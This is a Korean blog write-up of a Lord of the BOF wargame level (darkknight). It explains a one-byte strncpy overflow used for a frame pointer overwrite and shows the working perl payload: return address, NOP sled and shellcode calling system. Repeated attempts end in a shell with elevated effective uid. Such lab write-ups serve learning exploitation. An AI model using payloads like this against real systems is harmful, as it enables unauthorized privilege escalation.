이번에는 이름이 다크나이트..후덜덜
소스파일을 열어보자.
strncpy?? 가 나온다. 정확한 분석을 위해 함수 레퍼런스를 함 보자.
char * strncpy ( char * destination, const char * source, size_t num );
문자열에서 문자열 일부만 복사하는 함수이다.
버퍼가 40인데 복사하는 사이즈가 41이다;
거기다가 함수도 두개.
이건 그냥 프레임 포인터 오버라이팅 하라고 대놓고 ..
자 그럼 공격을 해보자.
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc2"'`
們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝?? @
Segmentation fault
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc1"'`
們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝?? @
Segmentation fault
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc0"'`
們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝?? @
bash$ quit
sh: quit: command not found
bash$ exit
exit
Illegal instruction
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc0"'`
們?릱릱릱릱릱릱릱릱릱릱릱릱h廈@멘???퓹E?웝?? @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
버퍼 위치가 자꾸 바껴서 몇번 때려야 하지만 금방 셸을 땀.
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 14 (bugbear) (0) | 2021.04.12 |
---|---|
LOB Level 13 (darkknight) (0) | 2021.04.12 |
LOB Level 11 (skeleton) (0) | 2021.04.12 |
LOB Level 10 (vampire) (0) | 2021.04.12 |
LOB Level 9 (troll) (0) | 2021.04.12 |